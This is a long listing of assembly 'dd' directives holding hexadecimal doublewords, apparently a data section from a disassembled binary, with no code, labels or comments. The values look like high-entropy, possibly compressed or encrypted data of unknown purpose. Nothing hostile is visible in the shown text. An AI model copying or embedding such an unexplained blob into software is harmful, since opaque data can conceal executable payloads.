		dd 0ADE39523h, 0EFC70051h, 0BEE57E98h, 24003884h, 784EFE8Bh
		dd 451A3Dh, 2BE1499Dh, 892867E3h, 0C49A2201h, 464C382Dh
		dd 3B120h, 71BD3491h, 8FDC8280h, 0FB366900h, 0B25A7361h
		dd 2D3B001Ah, 0D9B415D6h, 0A000F95Eh, 0FCE00CBDh, 1DB13E77h
		dd 410ADB46h, 0D2B4EF54h, 0F7572043h, 4E23D31Fh, 0BD145240h
		dd 6527FBh, 9CE23FB3h, 0DE26902Ah, 0CF87F200h, 0CE147ADCh
		dd 39CC0A93h, 202F85h, 0F43FE263h, 20037555h, 0C8A261F8h
		dd 16E4F022h, 2D260188h, 6A21ED04h, 0D698F320h,	141C366Eh
		dd 5580ADF5h, 2818B764h, 4B50C0F3h, 2F0AF719h, 0DEC3DD00h
		dd 981A388Fh, 5B801C3Dh, 0D9EA8099h, 0E6344B1Bh, 5FBD7B0Fh
		dd 0FDEF43E5h, 0D03FC83Ah, 11E26116h, 0E441552Ah, 0A200382Fh
		dd 1CBFB7D8h, 1DE01EEh,	35CDE992h, 0E402452Eh, 0F9C3ED13h
		dd 0A8E74AB3h, 0E66B84h, 2069B70Fh, 9CD48199h, 0A3A2EF00h
		dd 6B5CE5F2h, 0A97900DAh, 28376805h, 0A50A9E54h, 90848B65h
		dd 98F89780h, 82A69Fh, 0DC2F143h, 0B9BA4F3Bh, 3223DE09h
		dd 0AABC00EDh, 3A2B27ADh, 0B400851Fh, 3BEE458Ah, 0D80E95F0h
		dd 60227442h, 0D5992EBDh, 0D259005Ah, 24348841h, 3F289031h
		dd 65077440h, 796ADB9Dh, 0EC00AF35h, 0E9968962h, 368A4C2h
		dd 0B698D549h, 779083CCh, 0DE0BB89Fh, 108245h, 8B4B32DBh
		dd 79B63C66h, 8084069Ch, 0E50C4FA5h, 0C102FBC2h, 1903A744h
		dd 65BC8182h, 8CF8BF63h, 0EA510FCCh, 2B454CCFh,	6D43452h
		dd 99296A86h, 0B9F6EB00h, 3DD10EBEh, 0D4D50126h, 3FE7A61Fh
		dd 0FCC85811h, 4247D603h, 0A0DE7A1Dh, 0ACFF91Eh, 87C72559h
		dd 0AC1200D4h, 9F07B15Eh, 74491300h, 814BA604h,	7C745Ch
		dd 98D3592h, 0AECFBCA7h, 299B4705h, 0D868A2D7h,	0D5778Fh
		dd 0E0B1A08Eh, 2A684BB3h, 1E0F8000h, 83E9E2C3h,	70F40F66h
		dd 8D6C2F05h, 0D40B67C8h, 882AB8BDh, 3422CCD1h,	0A1309D00h
		dd 0AC21B71Dh, 20711747h, 6BB90B90h, 0ED2FAA83h, 0E1F8903h
		dd 9052C5A4h, 2262C1h, 469F5869h, 0FBD58AC8h, 0D9066800h
		dd 0C0959021h, 2CA9012Eh, 25A76ABDh, 0AF7C20FDh, 740E28F6h
		dd 0C92095F3h, 0C4AC0AF5h, 6231C300h, 308EE730h, 84E98186h
		dd 0FD1F181Dh, 3CAE2E39h, 0A596A707h, 12CD85Ch,	5DB2FB86h
		dd 0E8846CA1h, 0E4071728h, 36A69449h, 0C880EBB7h, 28C0E5BCh
		dd 42CD93Dh, 9F52A3A0h,	75C88082h, 5030B0F4h, 0E485E8FEh
		dd 260F1F29h, 64646Eh, 52F47B02h, 0A1000DC1h, 23819D77h
		dd 0CEAD8BFEh, 90B87378h, 19D19550h, 359700C4h,	0EED8F3F5h
		dd 0DAA907ECh, 0F9BD152Eh, 50F4400h, 897A4A64h,	0A5F5AC00h
		dd 5EA6A192h, 8D8C0028h, 0DE4291CCh, 391F416Eh,	946EF52Ch
		dd 70B17F8Dh, 9809C2ECh, 0E9A00178h, 0AAA22E5Ah, 346420A3h
		dd 2CF60700h, 2D03D2C3h, 13F47433h, 40CE4DB5h, 84C7DB08h
		dd 0F7424B90h, 25238F00h, 7439DAABh, 6C005890h,	940A607Ah
		dd 780CDF77h, 0C88700DEh, 8851E23h, 80F3436Ch, 56EAFE38h
		dd 78642EDBh, 140200DFh, 9CF7A21Fh, 0B498B34Bh,	0A51A81FFh
		dd 647D5D37h, 501349C8h, 0ECCBCCEEh, 0BB3C012Dh, 29D69C4Bh
		dd 87FAC804h, 0C7B5A500h, 0C880928Dh, 0B3393C9Eh, 56DE9D0Fh
		dd 362A5DE0h, 0CB005542h, 0A60F2568h, 5EB85B2h,	0C22DF3Fh
		dd 0E4A4283Ch, 0A452EA09h, 7488043Dh, 220A008Bh, 3E90C13Bh
		dd 0E87F7780h, 8B463C80h, 0E42032FCh, 1C8C07h, 1FA5994Fh
		dd 4EB1A2A0h, 6A83F603h, 0B20BC61Ch, 8CC84842h,	8B010966h
		dd 8006F248h, 0C8A19946h, 0A63064DCh, 483F1301h, 508AFDD7h
		dd 0D32EC8h, 71EB7627h,	41A32F8Ch, 7E0D2B07h, 160547CCh
		dd 4247880h, 0F5F003CEh, 0E3BFC3BEh, 673CE94Dh,	6FB0DA68h
		dd 73162DADh, 0C0AC040Eh, 0C0F91C4Bh, 0F021F558h, 4EAF040Ch
		dd 0E3D8FFh, 0BC673D3Ah, 0A41E692Dh, 718FD60h, 4D398F06h
		dd 2602E8BBh, 1BC1AB9Ch, 0EB0EAA60h, 6E01AA13h,	0E75DAC40h
		dd 0C12BB667h, 4DB3FC88h, 0A99C243Fh, 4C4E9824h, 0EA73D800h
		dd 36803C0h, 9DB62BC8h,	0AAC84982h, 0AD0739C5h,	0B7D579EEh
		dd 6CD9FDA1h, 48677AF0h, 362C0C8Bh, 9B6B8928h, 84923300h
		dd 0F300346Ch, 26955A2Ah, 0D47541h, 8D550670h, 728ED24Bh
		dd 433A2D00h, 0FC8591CAh, 0BC1B00C0h, 0D02D10Fh, 0AD799C11h
		dd 4F8BBE00h, 1C8C9436h, 0C5DD03FAh, 0C96C8599h, 27583BA8h
		dd 0BA95C309h, 89788470h, 67FCB4C0h, 5B551DF2h,	7B5700BDh
		dd 0D09EFE26h, 0D0FA9339h, 8B09B8A4h, 143B9218h, 28C10028h
		dd 7625AA5Dh, 4807C618h, 5AF0D924h, 1273EBC0h, 0CDFEEFh
		dd 7BDE470Ch, 0C3F18C4Dh, 10870F00h, 351E9126h,	6AC0B763h
		dd 1800787Ah, 72DD5631h, 5CF748D5h, 33046830h, 0C05B507Fh
		dd 0C5C1C86Ch, 4EBEDF1Eh, 29897682h, 9A4E674h, 0B6DE3824h
		dd 394BD000h, 0DC05CCFDh, 0CA8F8E71h, 80AF5092h, 722ABDA4h
		dd 8C24DF4h, 0B6B13600h, 0E06BFEE1h, 0F0051A79h, 0D2163915h
		dd 835A6CC2h, 0C01CA8FDh, 0B0BA0F3Bh, 0B0EC139Ch, 9AA8402Fh
		dd 0A1377926h, 2054B900h, 8F96D987h, 14329D1h, 8C0792DCh
		dd 2200E020h, 41757CB6h, 0B44A80h, 0A2A23FAh, 0C0C5D248h
		dd 0FCAA442Eh, 86D4FE00h, 285085Fh, 75B01D82h, 0C0C1C0C4h
		dd 92B5F8E8h, 0BA5Ch, 4B0C1B8Dh, 91FDDF24h, 22C82C9Ch
		dd 900C9880h, 20CBAF4h,	0A38D9264h, 0E4E67165h,	0F8E1B8A6h
		dd 2B03AD07h, 9B46DF47h, 5F2091B8h, 16381C20h, 0DB3ADCh
		dd 0AF61E9CEh, 8200E8B3h
		dd 846FE2A0h, 18384E72h, 27C2F95h, 0D9091C12h, 8A4B36h
		dd 80AC24B0h, 0FCB1B7h,	9AA5F46Ah, 0D3025E95h, 359DB54h
		dd 0B59880A4h, 0F339308h, 837DBC5Ch, 44769FE0h,	6006EA6h
		dd 0AC8D234Dh, 16DFD165h, 202A30ECh, 0EDF4858Ch, 0A390EF50h
		dd 2FE39B00h, 0C40A3543h, 8F6F0632h, 69E12277h,	317FF200h
		dd 96BD5AD3h, 299401C0h, 0B845EEABh, 0C0C8326Bh, 691701F7h
		dd 2630B872h, 40E0BF47h, 19EDA60Ch, 1558AE67h, 6B3BDC51h
		dd 71DCABD5h, 30F54B68h, 0DD1A4E10h, 0FF30561Eh, 9901359Eh
		dd 2DBDFBBCh, 0C59CA062h, 60F56967h, 0D82949E8h, 8D0A4209h
		dd 250C1C77h, 14A30576h, 4400A0A6h, 561C8A99h, 131653A1h
		dd 400C0542h, 818F49BCh, 804DB3C7h, 0CD151F60h,	683C70B2h
		dd 4D1CC100h, 80DD105Bh, 82F2DE54h, 5A05774Fh, 2E56C3ADh
		dd 3B1D1C70h, 220E0045h, 0E7F330DCh, 550C2914h,	184D238Eh
		dd 0BAB00271h, 0B77853ABh, 0BC720BC0h, 15AAF00h, 8084A7BDh
		dd 59481842h, 0C731E8ECh, 7C047600h, 40D79733h,	0DBD400C6h
		dd 6D359452h, 545CD2E2h, 0B822E0ACh, 2566FE65h,	0D0B07430h
		dd 8100107Eh, 0FE54F02Eh, 53D94F7h, 0A090BF07h,	44FC0076h
		dd 0C7D1DDB5h, 36BDE304h, 0B4C0E7D8h, 46EFBE5h,	1B205A56h
		dd 0D37C90F2h, 6D0368ACh, 0BC1F104Dh, 7665E8E9h, 1DF3012Ch
		dd 0C50A1E59h, 0B39BE8A6h, 14108549h, 70AFFB6Fh, 0BC3FAF73h
		dd 3670AE91h, 802BB409h, 0A9A61590h, 0E20D0448h, 0C18A906Eh
		dd 9741543Bh, 30423988h, 0CE4FBEh, 0F22C9A40h, 0F058F0B0h
		dd 0E43E0024h, 81C89BBEh, 2AFEEAh, 64C1A58Ch, 42E3ED34h
		dd 0A100E89Ah, 8FEEC91Ch, 4CE8FD74h, 0E900ACC4h, 397E5806h
		dd 100361Fh, 0E098BE44h, 489EB0DCh, 1EA020E7h, 5C901A3Fh
		dd 5F914504h, 38958FD7h, 975760C1h, 0A760E300h,	3A31513h
		dd 7898388Dh, 31C72619h, 14B23316h, 0C48AEC61h,	808008C6h
		dd 535FF1A2h, 5600643Fh, 0BF57A6Eh, 605BFAFEh, 71F1E0C6h
		dd 10373AD2h, 0A761433h, 5529020h, 37E7489Fh, 3816C047h
		dd 790ECF6Bh, 43176CDBh, 0E8152831h, 198DE5h, 0D88202A0h
		dd 40C9724Dh, 7E22C00h,	0B5D2C31Fh, 1E550080h, 2787F15Ch
		dd 9005F94h, 2D8CEB2Ah,	24320742h, 38C37Fh, 75AF0FF7h
		dd 4300A8ABh, 39644C68h, 871B78h, 0E00B7CB8h, 0B3D1BF6Dh
		dd 4DF20600h, 868E599Fh, 3B2000D2h, 0FCB0838Dh,	84038F3Fh
		dd 87FFD65Eh, 298C8098h, 0CE361C7Ah, 66A70DCBh,	0C938C459h
		dd 0FDA26000h, 7A2546B9h, 947F300Dh, 4AE62BB8h,	0D3541400h
		dd 8DAF36BBh, 13AD0CC3h, 0DED4EB4Ch, 2F1F6F00h,	25349D26h
		dd 5DCF180Fh, 990B03Eh,	0D1007FF8h, 0FD99029Ah,	11E36F8h
		dd 7EEA5DF5h, 48B3A761h, 4D686A98h, 0EE409048h,	0C3BA530h
		dd 0D753CD38h, 54ECF1E1h, 60850F30h, 0FC872110h, 23223067h
		dd 0A7206620h, 385ADF00h, 0AC2B4C91h, 0B874D2h,	0EBA304C9h
		dd 0F6CC477Ch, 0E3D98300h, 0CF35ABC2h, 56872AB7h, 33E00098h
		dd 2FEF9495h, 8C14A6EAh, 0A0EED0h, 4DE8E12Ch, 594E7Eh
		dd 0E6ACA9Ah, 2DF65BC6h, 41E4A500h, 178B8188h, 0C2B63049h
		dd 2B3D5450h, 0FEBCF550h, 99C08671h, 4F83CF6Ah,	72F0C056h
		dd 21D63087h, 0CED54A01h, 611AA371h, 6AA0C447h,	592C13h
		dd 33A0A5B9h, 0B4113F49h, 4D282702h, 445D0A93h,	0D3A9C04Ch
		dd 24995391h, 826AF03h,	0B85F424Ah, 19C8CFC9h, 10EA1DE8h
		dd 0A8D4506Eh, 74011C88h, 0B8DAB384h, 1EF1DC7h,	4FB97A81h
		dd 40D7A636h, 63505C50h, 0F461CC00h, 0BA480817h, 4CCCA80Dh
		dd 4BED1474h, 0A10C80C1h, 420C20FEh, 0BB00A67Fh, 0DD50E96h
		dd 0AF07DC3h, 84D9CF63h, 0C1391FD4h, 0FA7A9EADh, 7D8C405Dh
		dd 0C9282349h, 7209F02Eh, 110C5D4h, 6BDE9583h, 52D7A080h
		dd 732D3322h, 98241371h, 803DACA0h, 57DF159Eh, 672FC7h
		dd 0A1FDFC4Ch, 0DC0465C1h, 0C23A017Dh, 6F9783C0h, 88383713h
		dd 0D9779Ch, 29A1F506h,	71B36EECh, 70162600h, 5DFD3F1Bh
		dd 9F54B7FCh, 1378030h,	0A4780214h, 0DB92F413h,	0C9572890h
		dd 5D31A700h, 3C0BEDBFh, 9ED6008Dh, 2B90C0EEh, 3E24E14Fh
		dd 56006ECEh, 8C5EAFD7h, 4DB61966h, 5A8F7964h, 80CC3B78h
		dd 4E15EBF9h, 1BEAACh, 60A1D5C5h, 0CC722B82h, 140ED67Ch
		dd 0E10A28C6h, 70F43FB8h, 0FA623C0h, 0A2052F45h, 0D6E0FDCFh
		dd 0E66771ADh, 33081900h, 0CFA18BEBh, 0C7151756h, 2E00AB6Dh
		dd 44F51360h, 628C13D3h, 0A1C400D2h, 0C6B9E25Dh, 27815801h
		dd 0BB70B303h, 1EAE7C20h, 896C80B4h, 1C1076DAh,	0AF003EC2h
		dd 0E52A0A9Ch, 0ED12EB90h, 0BDAA9040h, 78FF1D7Ah, 84D80056h
		dd 0E137727Eh, 6AF36C00h, 3E7B63EEh, 6EEF037Ch,	0B4663668h
		dd 60C891B1h, 0BA0F212Bh, 62CF96ACh, 4181F06Ah,	49A9DBCCh
		dd 35925Ch, 0C64A3A98h,	0DE54B6ABh, 710AD1D0h, 0B88A9E4Eh
		dd 5C76E200h, 8364BDh, 87BE74E1h, 630297DFh, 7840D0AAh
		dd 400F9E8Bh, 9E517FDAh, 0A97B4F40h, 127CCBF6h,	5E05A6h
		dd 1C144868h, 7D09FE42h, 2259C282h, 213C4770h, 0FE387BA4h
		dd 7D44D487h, 348CC8C9h, 56D37700h, 0A89584D2h,	0C2CD405Eh
		dd 11FE9D02h, 412F6E8Eh, 18DC3594h, 0D785027Ah,	4E962EFAh
		dd 5AA4AF40h, 75706BF4h, 98A0EEEEh, 1800ACCBh, 1560DFF4h
		dd 2B876EFh, 0B18250C4h, 44C8B291h, 18025C3Dh, 0B8A91DCCh
		dd 5D044FDh, 3F577253h,	7CD41451h, 4A6AE181h, 0BC16D02Fh
		dd 44C87400h, 985AE1Fh,	3E9A00D2h, 0C2374626h, 0F900BC69h
		dd 23896AA3h, 10CD597h,	0FB8D2E77h, 9F75636Ch, 55C92681h
		dd 5C102022h, 4CD2FB5Dh, 0A212845Ah, 38D40EFAh,	8DCA1540h
		dd 0BE00AA4Fh, 767D9C08h, 5DDCE5h, 202A31D2h, 13662CDDh
		dd 9049A700h, 6D793958h, 87F600AFh, 0A4473F0Dh,	1A13BF12h
		dd 2440A8BDh, 0D7DECFB7h, 942F0055h, 0E149BA4Bh, 7B0051F9h
		dd 0A82AD536h, 4C7485h,	91DF4373h, 3D93152Bh, 0DAAE0E01h
		dd 4E5E5D99h, 4A7A453h,	0FA4B7220h, 4A0C90A6h, 7400F375h
		dd 474F6628h, 3E7F1Dh, 0ACD28B72h, 9F14E2ADh, 1CA6A202h
		dd 0C0819B48h, 163A6D60h, 23C09Eh, 5AA84430h, 0CE04A78Ch
		dd 6CFCECB2h, 0E0206081h, 482A4C34h, 0A494807Bh, 803724h
		dd 0F5777C3Bh, 2D244C32h, 8F800C38h, 0B97B8210h, 0A0B748E9h
		dd 0C4542041h, 0B51DD881h, 44895D8h, 0E8944D3Fh, 71408121h
		dd 5B6BFCD4h, 0E7770307h, 80FB7D42h, 2FFD9D04h,	7131007Eh
		dd 0A05E6F81h, 2009533Ch, 0A09B0EEDh, 4CCDFBF4h, 6C0806BCh
		dd 0A83834F9h, 0C3AC8859h, 4CE1B3E5h, 7D0464F9h, 0C0473264h
		dd 79A960C0h, 0CE1CA101h, 588CB7CDh, 0F4C1AC4h,	9A05E1CAh
		dd 7FC05463h, 306E1491h, 9CBB198Ah, 89D42D0Bh, 0F3D0A1F8h
		dd 48FA75F9h, 9806150h,	5C2C3C43h, 95AAD410h, 0AC691629h
		dd 59CDD887h, 4CF0D157h, 58961D7Dh, 660078FCh, 46D4493Dh
		dd 0BE0BC9F7h, 0A52ECEEFh, 6CC191C8h, 28806A98h, 516F4726h
		dd 571C85A4h, 0E4AB8981h, 45B8F480h, 72778D3Dh,	18817BA8h
		dd 180774DCh, 803994A1h, 8BEE0041h, 0F8DD9216h,	26D500EDh
		dd 2839BC3Ch, 4B007C68h, 917A64BEh, 3C3DF7Dh, 0EE8D5599h
		dd 6BDB4A7Eh, 948038B8h, 6DD88300h, 0CA998BDEh,	69A90042h
		dd 9CBD36C5h, 3700A824h, 0FF728883h, 14FCE39h, 94EB13FCh
		dd 0C5574E19h, 0AA0E480h
		dd 0A585DCE9h, 1FE5F400h, 0E4A461C9h, 8D930E30h, 0B06367FAh
		dd 0A1D1DAEFh, 0DFE1D29Ah, 11047020h, 0BEFE4000h, 3A57DC09h
		dd 0A48E1F0Bh, 1E88C36Ch, 8F80B898h, 0DB006911h, 1FB504B0h
		dd 3BD37ADh, 4B608AFBh,	0BEA0E941h, 5900AE14h, 0D285D655h
		dd 3C0744h, 0A00D6DF6h,	9FA8CB4h, 9DC19F1Dh, 0A8DCB94Ch
		dd 9A280114h, 0E288646Ah, 0B2CBD777h, 4B48BCD0h, 730E8476h
		dd 403F555Ch, 43C1E6F2h, 5FE3010Dh, 45FE667Fh, 118EF0D2h
		dd 9A3038h, 0D99C42BBh,	7406174h, 9268F17Fh, 7252E0C3h
		dd 0BB000C17h, 524A07Ch, 466DB9h, 0F5074E06h, 20B41680h
		dd 0FFEEF907h, 80EF24CCh, 7D52901Ah, 0F1011CBCh, 1221C014h
		dd 0FA42DD6Dh, 2825A80Eh, 0EDB3808Bh, 3339B4h, 3AFD82AEh
		dd 9124EEAFh, 53C22F07h, 0FAC05C51h, 244ABD75h,	1755F9h
		dd 2DA6AD5Dh, 815C4326h, 8A191CA7h, 185C400h, 397A61F2h
		dd 18F088F6h, 300A14DCh, 8A0656ACh, 0B5399385h,	752A04C0h
		dd 809E97F7h, 4B2789A9h, 84C02B54h, 0F4084300h,	2E25D82Fh
		dd 0C6536E81h, 0E33D3E1Ch, 0ACB26380h, 0FAB5CAFh, 744CD004h
		dd 0E8809472h, 95DD92Ch, 0FD01BB47h, 0FB84E080h, 1E160B15h
		dd 760278FAh, 0E066DBB5h, 30C664E5h, 0A8615A1Ah, 0BC38300Eh
		dd 0E110606Dh, 1DB148B3h, 803904EDh, 24AE4B99h,	0D47ECAEAh
		dd 9AF5E00h, 72C9B4E8h,	2CD11EDDh, 0FC9341E7h, 0F74AB092h
		dd 0C168FC00h, 3886C37Dh, 7290AEh, 6D33BE79h, 74134BFh
		dd 0C272C700h, 89DD8E3Ch, 0F5022421h, 0DE2E00A4h, 14C40E85h
		dd 0CE4FA00Fh, 0D54EC1ADh, 68801181h, 45E483D1h, 0F703335Dh
		dd 0A1FA60BAh, 0D003A0F5h, 0E5ED0025h, 0DBDEC84Dh, 9F076904h
		dd 2DF31D49h, 0C66529F0h, 58640371h, 0DF7A98C7h, 23638988h
		dd 30886900h, 42C1E9A3h, 819D0031h, 912CCC72h, 78FA6399h
		dd 8110A63Eh, 0B80F0ABh, 62B24D6h, 88B80EA6h, 3DEA2060h
		dd 78D27AC9h, 0C8520113h, 0CFB899BDh, 96B7D8C0h, 0ED06101h
		dd 94241231h, 76D7AC47h, 0C2B9F4C0h, 0B19A00A8h, 6E5868E7h
		dd 48F24667h, 0B440F72Ah, 0D2AAE104h, 3C81D69Dh, 0CAD84713h
		dd 0CD3E0745h, 2E306B89h, 0E8D16900h, 0FC00B3FBh, 1B14106Eh
		dd 6C73193h, 78C23F11h,	90005144h, 4157EB8Bh, 1E7E8247h
		dd 4119608Dh, 63FFAD1h,	1D40B953h, 877B50A5h, 59287A90h
		dd 0C56A58C0h, 0CBAC1414h, 0E100BC4Eh, 0CEB3D589h, 760764A0h
		dd 0FC5F7711h, 2F0D5820h, 0B10701B8h, 0FBA42BBEh, 8FD84C02h
		dd 63CC50Eh, 0FC86FE1Dh, 7A12CD4h, 0AB05B0ADh, 0EB78E031h
		dd 66281806h, 9A009CDEh, 0C97C488Ch, 9B570EDh, 3412C187h
		dd 30670C27h, 23EAF61Dh, 0C8D1B428h, 28ADDA00h,	0B1BC063Ah
		dd 0E04F00AAh, 5B8106Fh, 0BD00DB97h, 40E20C96h,	14D5774Ch
		dd 87BBF478h, 3A232900h, 0CA9C6936h, 73FAFE00h,	0B6F914ACh
		dd 903FE884h, 2CAA0040h, 0C65A5CBFh, 6C02F8EEh,	1C5973F2h
		dd 91509178h, 90EBF085h, 27B00469h, 0C220C17Ah,	0E431D89Bh
		dd 0AB0016F6h, 0F1A02DC9h, 7C6791h, 0A55D1424h,	0D3BE3008h
		dd 906073E6h, 82F73EC0h, 2C7C1444h, 20A4AC03h, 0B519B934h
		dd 0BDAB4A03h, 0C06F48F5h, 9B43888h, 26C72FC4h,	0C0812184h
		dd 0B697BB00h, 0A1D7A505h, 706001D3h, 30914B63h, 3106622h
		dd 0B618C813h, 0E4E0D0EBh, 1C541D4Dh, 0BA2500A1h, 0A98E8648h
		dd 0F1B43600h, 1042D070h, 944E14B9h, 770B0FCh, 31C3E6CAh
		dd 2E2A177h, 0DC69F9EFh, 25985D8Dh, 17E77E00h, 3AE34CF3h
		dd 9B1E0082h, 415EE83Eh, 0B5C7B1h, 0A3597F6Ch, 0A62018Dh
		dd 0E0E97203h, 8F22E0D7h, 90086F8h, 0F2AA3FF6h,	7F93317Ah
		dd 0AB013E67h, 18695500h, 0C15D8E6Dh, 0AD5CE903h, 7AFC2Ah
		dd 0C7DA0250h, 82D76803h, 1F6CC51Eh, 7F1BD440h,	0B9D14Fh
		dd 8F8ECA3Fh, 2FEB5D6Fh, 0E4699100h, 9F371E28h,	1017FADCh
		dd 0E4E5643h, 0C0404BA4h, 44866504h, 11CF00A0h,	370BBDFEh
		dd 8300AC48h, 3CBACE7Ah, 1D7C23C5h, 8052FD95h, 0BE6EAE32h
		dd 4D00B072h, 1B9ACDEAh, 48F621Ch, 0F6E384DDh, 60A1C05Eh
		dd 90A192E9h, 24ABC0A5h, 5D867C01h, 52E8F940h, 0B0762182h
		dd 9CA0630Eh, 0D42F5010h, 444F9400h, 9276E0A2h,	244A0F8Fh
		dd 0C03D1823h, 0CB5B67E4h, 0B9015A57h, 209D33AAh, 73302DBCh
		dd 137902C2h, 0E3B2A462h, 0EF088480h, 0A00020B9h, 8364FE86h
		dd 0FC040C99h, 712C2B80h, 0A1983040h, 80073068h, 37209E61h
		dd 5D0CA650h, 0D6B2005Ch, 2BD5A46Fh, 74A0930Dh,	4D2B2F8Ah
		dd 6C08C077h, 40F847D4h, 0FDE54476h, 827E3C2Eh,	7399C601h
		dd 0E2D0FBCAh, 0E32900E6h, 5B8ADF80h, 0F01C561h, 459762EFh
		dd 0A08377B0h, 49B87FA8h, 386AC964h, 9DD1D480h,	0F6A33037h
		dd 998884C9h, 266CC200h, 4AD42EB1h, 0F5AE00DCh,	9D8C5B2h
		dd 6700827Dh, 1E94EE15h, 2474C783h, 8E38D72Ch, 7720AA24h
		dd 11481B6Bh, 0BC004C71h, 0C50A93D4h, 0BF05D6h,	4E65FA06h
		dd 927A75CCh, 0DF9B2C00h, 310DC742h, 66E70E6h, 338FFB90h
		dd 0B6EA6832h, 0DA34D800h, 17D36D5Bh, 3B5E3E4Eh, 608C0824h
		dd 2D527D80h, 74A4F100h, 1D137B9Fh, 0EDA33FF8h,	4504E300h
		dd 11CD1FBBh, 2B0EDCA6h, 808E197Ah, 0D24BCED8h,	0EB300033h
		dd 5A23C314h, 37079B59h, 0F37816EFh, 98E03ED7h,	0A8838E0Ah
		dd 7DFDD8h, 0B55A6BABh,	6A7BBBBAh, 0A4D48200h, 0B9F10A86h
		dd 0F3E20185h, 90B74752h, 5D94203Eh, 5E9B8C04h,	5083CD1Ch
		dd 7DF2A883h, 27B50131h, 2D56C71Ah, 0AC283010h,	7849C303h
		dd 28A87Ah, 594F80B8h, 41A65647h, 389EF301h, 4AF2AD74h
		dd 1A0AFCh, 0A76BFA0Dh,	878DDBFh, 0C3B0FB00h, 1B4A47DBh
		dd 0F55B0FCDh, 0B960F6E0h, 2322D702h, 95063501h, 0EA18D56Eh
		dd 22FDAD4h, 5E17BA8Dh,	8C48130Dh, 9607A85Fh, 40508201h
		dd 0F47C98D9h, 37970339h, 4A834D62h, 0C09A3AF8h, 64358400h
		dd 525A2428h, 59DD6063h, 364F6CC3h, 7669AB12h, 60E95C00h
		dd 0E72D89h, 68771496h,	3F480D08h, 92B7D900h, 3A6D8709h
		dd 30FE888h, 77C2ACF8h,	0D6D076E3h, 660068C0h, 0B907D93Dh
		dd 585E1EC5h, 6700FCE6h, 9E9A27E8h, 0D7907CCEh,	0C279F500h
		dd 529D6954h, 0FFCD14EEh, 0E0078C77h, 198CF1DCh, 4100840Fh
		dd 9B8171A3h, 0C0B74F2Ah, 0DF0C100h, 4320DBBCh,	7256007Ah
		dd 0FFA785F7h, 952890CAh, 14906C52h, 73971300h,	0D6C27FD3h
		dd 6EB849h, 16CE946Dh, 5E7922D8h, 0E06DDC99h, 241177F0h
		dd 0BE648043h, 1CE3BA50h, 20EE71h, 3522D30h, 9B587D67h
		dd 3B0D09EDh, 2A9C00F8h, 0C5388Dh, 3C913029h, 8EE4CCD7h
		dd 1F0A81E8h, 0BCEDF780h, 0C861BB02h, 0CC4C4021h, 24F75DCh
		dd 79D6F0C9h, 98808227h, 18F3F86h, 524368C0h, 793E6EABh
		dd 0DA9000AFh, 0B07B94D0h, 2D1EFC8Fh, 80FBEA7Eh, 0F815C027h
		dd 796F760Dh, 0A20B013Fh, 734F19D7h, 49F05013h,	0B30047BFh
		dd 83FFF68Ah, 0E8CBBBEh, 203279F7h, 0F345AD60h,	0A0C13D76h
		dd 0B6D61EC7h, 6E20C457h, 480F042Eh, 2BC0244Ah,	50E8F40Bh
		dd 79AFBE00h, 0FABD2048h, 50C4A611h, 3E0DDB2Ah,	5C0279CAh
		dd 0EF4F89AFh, 0AB13C494h, 3D0085E4h, 0D28FBF7Fh, 56960135h
		dd 3CE98B17h, 3D3C6051h, 0FE9BF4A8h, 0C8418C0Ch, 1F8A1949h
		dd 80975D2Ch, 7D0A9024h, 0CE0E48F3h, 4912F932h,	1E09DDh
		dd 0B64C2184h, 86F70058h
		dd 9CED4193h, 3D000C9Eh, 441D1E8Fh, 9753E16h, 98C06D04h
		dd 570AC494h, 3C3EA7B9h, 6CDD003Ah, 2C25E0BAh, 0CE060FC6h
		dd 0CB20660Dh, 0D55FCD21h, 0BA03F73Eh, 5939BBA3h, 5420424Ch
		dd 5E011684h, 0D7E66014h, 6CC16433h, 468DD8h, 70D44CACh
		dd 7479CF42h, 147C4D24h, 0E2BB1C06h, 28CC8151h,	0DE21ECh
		dd 7AA44D69h, 0CDC5D2E0h, 62C04302h, 0C2869C4Bh, 0F1F89874h
		dd 0BBC1C0A7h, 0C2EA8E17h, 329EFC00h, 0D31067CFh, 0C98C9279h
		dd 0B4A00D70h, 0F2C5F4DCh, 0E416517h, 0DF028802h, 15F4804Dh
		dd 0ED5B77h, 0E7CB4CA7h, 4351C97Fh, 2EDD6F16h, 0AE868707h
		dd 241886Ch, 923F0FC3h,	0F46850D9h, 0CCB273C7h,	2557FA00h
		dd 0EE029A85h, 94C9043h, 336CC968h, 45279CAFh, 0B51120B6h
		dd 2534BB01h, 1CDCA97Dh, 980F6052h, 8506DA66h, 1032C12Ch
		dd 0F3DD8780h, 279A50Dh, 7C56C03Bh, 81FD4525h, 7EA1EB65h
		dd 342E1080h, 0FE3507ADh, 0E9D9C51Fh, 474ECEC0h, 0E0C262D6h
		dd 0C33B007Dh, 0E5BA90E0h, 0DA0082CAh, 24AF54CDh, 9DCC45h
		dd 7BAE28C2h, 95BCC767h, 7C7FBD00h, 0E0D5F166h,	76580F61h
		dd 980FEB80h, 13787BECh, 749F5C00h, 4839C9B2h, 0E560093h
		dd 0A3C53FDBh, 0C200339Ah, 61A75241h, 3BDF9F55h, 5781D658h
		dd 0F23DCA7Ch, 3C6F0F6h, 754950Ch, 0C148D3h, 0C3D4E8D1h
		dd 0BEF93C6Ah, 687A4406h, 20ACB3h, 6BD7D12Dh, 0D23FDA5h
		dd 3630FE70h, 70B1F8D0h, 2F6503B3h, 28F89F52h, 87BA1903h
		dd 88A6983Dh, 104F002h,	38B67FC8h, 4A1C9F1Fh, 8F400018h
		dd 0FDDB0954h, 0D30C14B8h, 0FEA04458h, 0D5098B6Ch, 7D93193Bh
		dd 7B988080h, 0E00C8766h, 3096D1D0h, 519500DBh,	0AB50A8BFh
		dd 7D7D5F56h, 81ED1100h, 0E62B32F0h, 92DF00BCh,	6C0A1DFCh
		dd 6116E20Dh, 0FF573Eh,	95274178h, 530EB52Eh, 8079C937h
		dd 8109F3ACh, 351800DEh, 0B411DA58h, 0F2004291h, 0C8D6A38Eh
		dd 0C330E5h, 8946B76Fh,	8C87AD41h, 0EFB85000h, 0A6384958h
		dd 5C9000F1h, 6BE6FF3Dh, 4F00F279h, 2B8CBF50h, 7C701A72h
		dd 8FECC8h, 0A0EC306Ch,	41D1EB56h, 0B454C12h, 5388D300h
		dd 0C7905FC9h, 0C0ABD978h, 7C2266Dh, 0BFA94200h, 44B8438Dh
		dd 1B3A1C2Eh, 57BDC024h, 6BF21963h, 0F6E30D0Eh,	56EE402Ah
